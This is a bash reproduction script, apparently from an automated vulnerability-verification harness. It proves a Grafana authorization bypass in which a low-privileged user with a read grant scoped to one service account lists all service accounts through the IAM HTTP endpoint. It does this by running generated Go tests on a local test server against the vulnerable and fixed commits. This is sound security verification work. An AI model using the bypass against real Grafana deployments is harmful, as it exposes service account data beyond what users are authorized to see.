#!/bin/bash
set -euo pipefail

# =============================================================================
# Reproduction: Grafana unified-storage authzLimitedClient RBAC bypass for
# iam.grafana.app/serviceaccounts through the original HTTP API surface.
#
# The ticket's original "user has no serviceaccounts:read at all" model is
# denied by Grafana's API-server ResourceAuthorizer before storage is reached.
# This script therefore proves the product-visible manifestation of the same
# missing allowlist entry: a low-privileged user with a scoped serviceaccounts:read
# grant for only one service account can list *all* service accounts through
# GET /apis/iam.grafana.app/v0alpha1/namespaces/{org}/serviceaccounts on the
# vulnerable build because storage-layer authzLimitedClient.Compile returns an
# always-true item checker. The fixed build filters the list.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

EVIDENCE="$LOGS/evidence.log"
: > "$EVIDENCE"
log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$EVIDENCE"; }

VULN_COMMIT="c00083433312adb7b7cfef83f74751e1216f67f8"   # 8891796^, missing serviceaccounts in allowlist
FIXED_COMMIT="8891796ca1086cd234e1715ea71d8db0073cc160"  # adds serviceaccounts to allowlist
ACCESS_GO="pkg/storage/unified/resource/access.go"
API_TEST_REL="pkg/tests/apis/iam/serviceaccount/serviceaccount_http_bypass_integration_test.go"
LIB_TEST_REL="pkg/storage/unified/resource/access_serviceaccount_test.go"

write_manifest() {
  local entry_kind="$1" service_started="$2" healthcheck="$3" target="$4" notes="$5"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$entry_kind" "$service_started" "$healthcheck" "$target" "$notes" <<'PY'
import json, sys
path, kind, svc, health, target, notes = sys.argv[1:]
artifacts = ["logs/evidence.log", "logs/api_http_vulnerable.log", "logs/api_http_fixed.log", "logs/library_vulnerable.log", "logs/library_fixed.log"]
with open(path, "w", encoding="utf-8") as f:
    json.dump({
        "entrypoint_kind": kind,
        "entrypoint_detail": "GET /apis/iam.grafana.app/v0alpha1/namespaces/{org}/serviceaccounts as a low-privileged scoped user against real Grafana unified-storage server; vulnerable vs fixed access.go comparison",
        "service_started": svc == "true",
        "healthcheck_passed": health == "true",
        "target_path_reached": target == "true",
        "runtime_stack": ["go", "grafana-server-testenv", "grafana-unified-storage", "sqlite"],
        "proof_artifacts": artifacts,
        "notes": notes,
    }, f, indent=2)
PY
}
trap 'rc=$?; if [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest "unknown" false false false "script exited before writing final manifest"; fi; exit $rc' EXIT
write_manifest "unknown" false false false "started reproduction"

# Locate durable project cache/repo.
PROJECT_CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR="$(jq -r 'select(.prepared==true) | .project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
fi
if [ -z "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/grafana"
fi
REPO="$PROJECT_CACHE_DIR/repo"
log "PROJECT_CACHE_DIR=$PROJECT_CACHE_DIR"
log "REPO=$REPO"
if ! git -C "$REPO" rev-parse --git-dir >/dev/null 2>&1; then
  log "repo not found or not a valid git checkout, cloning Grafana into stable cache path"
  mkdir -p "$PROJECT_CACHE_DIR"
  if [ -e "$REPO" ] && [ -n "$(find "$REPO" -mindepth 1 -maxdepth 1 -print -quit 2>/dev/null || true)" ]; then
    log "ERROR: $REPO exists but is not a git checkout and is not empty"
    exit 2
  fi
  rm -rf "$REPO"
  if [ -d "$PROJECT_CACHE_DIR/repo-mirrors/grafana.git" ]; then
    git clone "$PROJECT_CACHE_DIR/repo-mirrors/grafana.git" "$REPO" 2>&1 | tee -a "$EVIDENCE"
  else
    git clone https://github.com/grafana/grafana.git "$REPO" 2>&1 | tee -a "$EVIDENCE"
  fi
fi

# Locate or install Go. Grafana currently requires a newer Go than system images often provide.
GO_BIN=""
for c in "$PROJECT_CACHE_DIR/go-toolchain/go/bin/go" "$PROJECT_CACHE_DIR/go-sdk/go/bin/go" /usr/local/go/bin/go /usr/bin/go; do
  if [ -x "$c" ]; then GO_BIN="$c"; break; fi
done
if [ -z "$GO_BIN" ]; then
  log "Go not found; downloading Go 1.26.4 into project cache"
  mkdir -p "$PROJECT_CACHE_DIR/go-toolchain"
  curl -fsSL "https://go.dev/dl/go1.26.4.linux-amd64.tar.gz" -o "$PROJECT_CACHE_DIR/go.tgz"
  tar -C "$PROJECT_CACHE_DIR/go-toolchain" -xzf "$PROJECT_CACHE_DIR/go.tgz"
  GO_BIN="$PROJECT_CACHE_DIR/go-toolchain/go/bin/go"
fi
export GOROOT="$(dirname "$(dirname "$GO_BIN")")"
export GOPATH="$PROJECT_CACHE_DIR/gopath"
export GOCACHE="$PROJECT_CACHE_DIR/gocache"
export GOMODCACHE="$PROJECT_CACHE_DIR/gomodcache"
export GOWORK=off
export PATH="$GOROOT/bin:$PATH"
log "GO=$("$GO_BIN" version)"

ORIG_HEAD="$(git -C "$REPO" rev-parse HEAD)"
log "original repo HEAD=$ORIG_HEAD"
mkdir -p "$LOGS/source_backups"
cp "$REPO/$ACCESS_GO" "$LOGS/source_backups/access.go.orig"
[ -f "$REPO/$API_TEST_REL" ] && cp "$REPO/$API_TEST_REL" "$LOGS/source_backups/serviceaccount_http_bypass_integration_test.go.orig" || true
[ -f "$REPO/$LIB_TEST_REL" ] && cp "$REPO/$LIB_TEST_REL" "$LOGS/source_backups/access_serviceaccount_test.go.orig" || true
cleanup_repo() {
  git -C "$REPO" checkout "$ORIG_HEAD" -- "$ACCESS_GO" >/dev/null 2>&1 || cp "$LOGS/source_backups/access.go.orig" "$REPO/$ACCESS_GO" || true
  rm -f "$REPO/$API_TEST_REL" "$REPO/$LIB_TEST_REL"
}
trap 'rc=$?; cleanup_repo; if [ ! -s "$REPRO_DIR/runtime_manifest.json" ]; then write_manifest "unknown" false false false "script exited before final manifest"; fi; exit $rc' EXIT

# Verify fixed commit hunk directly.
VULN_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
log "fixed commit=$FIXED_RESOLVED vulnerable parent=$VULN_RESOLVED"
if [ "$VULN_RESOLVED" != "$VULN_COMMIT" ]; then
  log "WARNING: hard-coded vulnerable commit differs from fixed parent"
fi
git -C "$REPO" show "$VULN_COMMIT:$ACCESS_GO" | grep -q '"iam.grafana.app".*"users"' || { log "vulnerable allowlist not found"; exit 2; }
if git -C "$REPO" show "$VULN_COMMIT:$ACCESS_GO" | grep '"iam.grafana.app"' | grep -q serviceaccounts; then
  log "vulnerable commit already contains serviceaccounts allowlist; refusing"
  exit 2
fi
git -C "$REPO" show "$FIXED_COMMIT:$ACCESS_GO" | grep '"iam.grafana.app"' | grep -q serviceaccounts || { log "fixed commit lacks serviceaccounts allowlist"; exit 2; }

# ---------------------------------------------------------------------------
# Library sanity check: proves exact real access.go behavior at vulnerable/fixed.
# ---------------------------------------------------------------------------
cat > "$REPO/$LIB_TEST_REL" <<'GOEOF'
package resource

import (
	"context"
	"testing"

	"github.com/stretchr/testify/require"

	authlib "github.com/grafana/authlib/types"
	"github.com/grafana/grafana/pkg/apimachinery/identity"
	"github.com/grafana/grafana/pkg/apimachinery/utils"
)

func TestServiceAccountsRBACBypass(t *testing.T) {
	client := NewAuthzLimitedClient(authlib.FixedAccessClient(false), AuthzOptions{})
	limited := client.(*authzLimitedClient)
	compatible := limited.IsCompatibleWithRBAC("iam.grafana.app", "serviceaccounts")
	t.Logf("IsCompatibleWithRBAC(iam.grafana.app, serviceaccounts) = %v", compatible)
	user := &identity.StaticRequester{Namespace: "stacks-1"}
	resp, err := client.Check(context.Background(), user, authlib.CheckRequest{Group: "iam.grafana.app", Resource: "serviceaccounts", Verb: utils.VerbGet, Namespace: "stacks-1", Name: "alpha-sa"}, "")
	require.NoError(t, err)
	checker, _, err := client.Compile(context.Background(), user, authlib.ListRequest{Group: "iam.grafana.app", Resource: "serviceaccounts", Verb: utils.VerbList, Namespace: "stacks-1"})
	require.NoError(t, err)
	checked := checker("alpha-sa", "")
	if compatible {
		t.Log("BEHAVIOUR: FIXED - serviceaccounts in allowlist, underlying deny client is consulted")
		require.False(t, resp.Allowed)
		require.False(t, checked)
	} else {
		t.Log("BEHAVIOUR: VULNERABLE - serviceaccounts absent from allowlist, authz is bypassed")
		require.True(t, resp.Allowed)
		require.True(t, checked)
	}
	t.Logf("Check serviceaccounts: Allowed=%v", resp.Allowed)
	t.Logf("Compile serviceaccounts checker(alpha-sa) = %v", checked)
}
GOEOF

run_library() {
  local commit="$1" label="$2" out="$3"
  git -C "$REPO" checkout "$commit" -- "$ACCESS_GO" 2>&1 | tee -a "$EVIDENCE"
  log "library $label allowlist: $(grep 'iam.grafana.app' "$REPO/$ACCESS_GO" | tr -s ' ')"
  (cd "$REPO" && "$GO_BIN" test ./pkg/storage/unified/resource -run TestServiceAccountsRBACBypass -count=1 -v 2>&1) | tee "$out" | tee -a "$EVIDENCE"
}
run_library "$VULN_COMMIT" vulnerable "$LOGS/library_vulnerable.log"
run_library "$FIXED_COMMIT" fixed "$LOGS/library_fixed.log"
LIB_OK=false
if grep -q 'BEHAVIOUR: VULNERABLE' "$LOGS/library_vulnerable.log" && grep -q 'Check serviceaccounts: Allowed=true' "$LOGS/library_vulnerable.log" && grep -q 'BEHAVIOUR: FIXED' "$LOGS/library_fixed.log" && grep -q 'Check serviceaccounts: Allowed=false' "$LOGS/library_fixed.log"; then
  LIB_OK=true
  log "library sanity check confirmed vulnerable/fixed authzLimitedClient divergence"
fi

# ---------------------------------------------------------------------------
# Product HTTP proof on original endpoint. This starts a real Grafana test
# server, creates two service accounts, creates a low-priv user with a scoped
# serviceaccounts:read grant only for alpha, then performs a raw HTTP GET to
# /apis/iam.grafana.app/v0alpha1/namespaces/{org}/serviceaccounts.
# ---------------------------------------------------------------------------
cat > "$REPO/$API_TEST_REL" <<'GOEOF'
package serviceaccount

import (
	"context"
	"encoding/json"
	"fmt"
	"net/http"
	"sort"
	"strings"
	"testing"
	"time"

	"github.com/stretchr/testify/require"
	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"

	"github.com/grafana/grafana/pkg/apiserver/rest"
	"github.com/grafana/grafana/pkg/services/accesscontrol/resourcepermissions"
	"github.com/grafana/grafana/pkg/services/featuremgmt"
	"github.com/grafana/grafana/pkg/services/org"
	"github.com/grafana/grafana/pkg/setting"
	"github.com/grafana/grafana/pkg/tests/apis"
	"github.com/grafana/grafana/pkg/tests/testinfra"
	"github.com/grafana/grafana/pkg/util/testutil"
)

type serviceAccountListHTTP struct {
	Kind  string `json:"kind"`
	Items []struct {
		Metadata struct {
			Name string `json:"name"`
		} `json:"metadata"`
		Spec struct {
			Title string `json:"title"`
		} `json:"spec"`
	} `json:"items"`
}

func TestIntegrationServiceAccountHTTPScopedListBypass(t *testing.T) {
	testutil.SkipIntegrationTestInShortMode(t)
	helper := apis.NewK8sTestHelper(t, testinfra.GrafanaOpts{
		AppModeProduction:      false,
		DisableAnonymous:       true,
		APIServerStorageType:   "unified",
		RBACSingleOrganization: true,
		UnifiedStorageConfig: map[string]setting.UnifiedStorageConfig{
			"serviceaccounts.iam.grafana.app": {DualWriterMode: rest.Mode5},
		},
		EnableFeatureToggles: []string{
			featuremgmt.FlagGrafanaAPIServerWithExperimentalAPIs,
			featuremgmt.FlagKubernetesServiceAccountsApi,
			featuremgmt.FlagKubernetesServiceAccountTokensApi,
		},
	})
	ctx := context.Background()
	ns := helper.Namespacer(helper.Org1.Admin.Identity.GetOrgID())
	path := fmt.Sprintf("/apis/iam.grafana.app/v0alpha1/namespaces/%s/serviceaccounts", ns)
	t.Logf("HTTP_SURFACE method=GET path=%s", path)
	t.Logf("LOW_PRIV_USER login=scoped-sa-reader basic_role=Viewer grant=serviceaccounts:read scoped_to_alpha_only")

	adminClient := helper.GetResourceClient(apis.ResourceClientArgs{User: helper.Org1.Admin, Namespace: ns, GVR: gvrServiceAccounts})
	alpha := helper.LoadYAMLOrJSON(`apiVersion: iam.grafana.app/v0alpha1
kind: ServiceAccount
metadata:
  name: alpha-sa
spec:
  title: Alpha Service Account
  disabled: false
  role: Viewer
`)
	beta := helper.LoadYAMLOrJSON(`apiVersion: iam.grafana.app/v0alpha1
kind: ServiceAccount
metadata:
  name: beta-sa
spec:
  title: Beta Service Account
  disabled: false
  role: Viewer
`)
	_, err := adminClient.Resource.Create(ctx, alpha, metav1.CreateOptions{})
	require.NoError(t, err)
	_, err = adminClient.Resource.Create(ctx, beta, metav1.CreateOptions{})
	require.NoError(t, err)

	// This low-privileged user is not an admin and has only one item-scoped
	// serviceaccounts:read grant. The API authorizer's list gate permits the
	// request because the action exists; storage must then filter individual
	// items. Vulnerable authzLimitedClient skips that filtering.
	scopedUser := helper.CreateUser("scoped-sa-reader", apis.Org1, org.RoleViewer, []resourcepermissions.SetResourcePermissionCommand{
		{Actions: []string{"serviceaccounts:read"}, Resource: "serviceaccounts", ResourceAttribute: "uid", ResourceID: "alpha-sa"},
	})
	require.False(t, scopedUser.Identity.GetIsGrafanaAdmin())

	// Let resource/index plumbing settle; harmless for sqlite test env.
	time.Sleep(1 * time.Second)

	rsp := apis.DoRequest(helper, apis.RequestParams{User: scopedUser, Method: http.MethodGet, Path: path}, &serviceAccountListHTTP{})
	body := strings.ReplaceAll(string(rsp.Body), "\n", " ")
	if len(body) > 500 {
		body = body[:500]
	}
	names := []string{}
	if rsp.Result != nil {
		for _, item := range rsp.Result.Items {
			names = append(names, item.Metadata.Name)
		}
	}
	sort.Strings(names)
	payload, _ := json.Marshal(map[string]any{"status": rsp.Response.StatusCode, "names": names, "items": len(names), "path": path})
	t.Logf("HTTP_LIST_RESULT_JSON %s", payload)
	t.Logf("HTTP_RESPONSE_BODY_PREFIX %s", body)

	// The assertion is adaptive so the same test binary succeeds on vulnerable
	// and fixed access.go while logging the security-relevant divergence.
	if contains(names, "alpha-sa") && contains(names, "beta-sa") {
		t.Log("BEHAVIOUR: VULNERABLE_HTTP - scoped low-priv user received unauthorized beta-sa over original HTTP serviceaccounts list endpoint")
	} else if contains(names, "alpha-sa") && !contains(names, "beta-sa") {
		t.Log("BEHAVIOUR: FIXED_HTTP - scoped low-priv user list was filtered to authorized alpha-sa")
	} else if rsp.Response.StatusCode == http.StatusForbidden {
		t.Log("BEHAVIOUR: HTTP_BLOCKED - API ResourceAuthorizer denied request before storage filtering")
	} else {
		t.Fatalf("unexpected HTTP result status=%d names=%v body=%s", rsp.Response.StatusCode, names, body)
	}
}

func contains(items []string, want string) bool {
	for _, item := range items {
		if item == want {
			return true
		}
	}
	return false
}
GOEOF

run_api_http() {
  local commit="$1" label="$2" out="$3"
  : > "$out"
  git -C "$REPO" checkout "$commit" -- "$ACCESS_GO" 2>&1 | tee -a "$out" | tee -a "$EVIDENCE"
  log "api_http $label allowlist: $(grep 'iam.grafana.app' "$REPO/$ACCESS_GO" | tr -s ' ')"
  log "api_http compiling package for $label"
  (cd "$REPO" && "$GO_BIN" test -c -o "$PROJECT_CACHE_DIR/serviceaccount_http_bypass.test" ./pkg/tests/apis/iam/serviceaccount 2>&1) | tee -a "$out" | tee -a "$EVIDENCE"
  log "api_http running real Grafana HTTP integration for $label"
  (cd "$REPO/pkg/tests/apis/iam/serviceaccount" && timeout 420 "$PROJECT_CACHE_DIR/serviceaccount_http_bypass.test" -test.run '^TestIntegrationServiceAccountHTTPScopedListBypass$' -test.timeout 360s -test.v 2>&1) | tee -a "$out" | tee -a "$EVIDENCE"
}

run_api_http "$VULN_COMMIT" vulnerable "$LOGS/api_http_vulnerable.log"
run_api_http "$FIXED_COMMIT" fixed "$LOGS/api_http_fixed.log"

HTTP_OK=false
if grep -q 'BEHAVIOUR: VULNERABLE_HTTP' "$LOGS/api_http_vulnerable.log" && grep -q 'BEHAVIOUR: FIXED_HTTP' "$LOGS/api_http_fixed.log"; then
  HTTP_OK=true
  log "HTTP PRODUCT PROOF CONFIRMED: original endpoint returns unauthorized beta-sa on vulnerable build and filters it on fixed build"
else
  log "HTTP product proof did not show expected vulnerable/fixed divergence"
fi

# Write final runtime manifest before exit.
if [ "$HTTP_OK" = "true" ]; then
  write_manifest "api_remote" true true true "Confirmed on original HTTP endpoint: vulnerable Grafana returns both alpha-sa and unauthorized beta-sa to low-privileged scoped-sa-reader via GET /apis/iam.grafana.app/v0alpha1/namespaces/{org}/serviceaccounts; fixed Grafana filters to alpha-sa only. Library sanity check also confirmed the allowlist root cause."
  log "RESULT: CONFIRMED api_remote authz bypass"
  exit 0
elif [ "$LIB_OK" = "true" ]; then
  write_manifest "library_api" false false true "Only storage-layer authzLimitedClient bypass confirmed; HTTP endpoint proof did not diverge as expected. See logs."
  log "RESULT: PARTIAL library_api authz bypass only"
  exit 0
else
  write_manifest "unknown" false false false "No proof confirmed"
  log "RESULT: NOT REPRODUCED"
  exit 1
fi
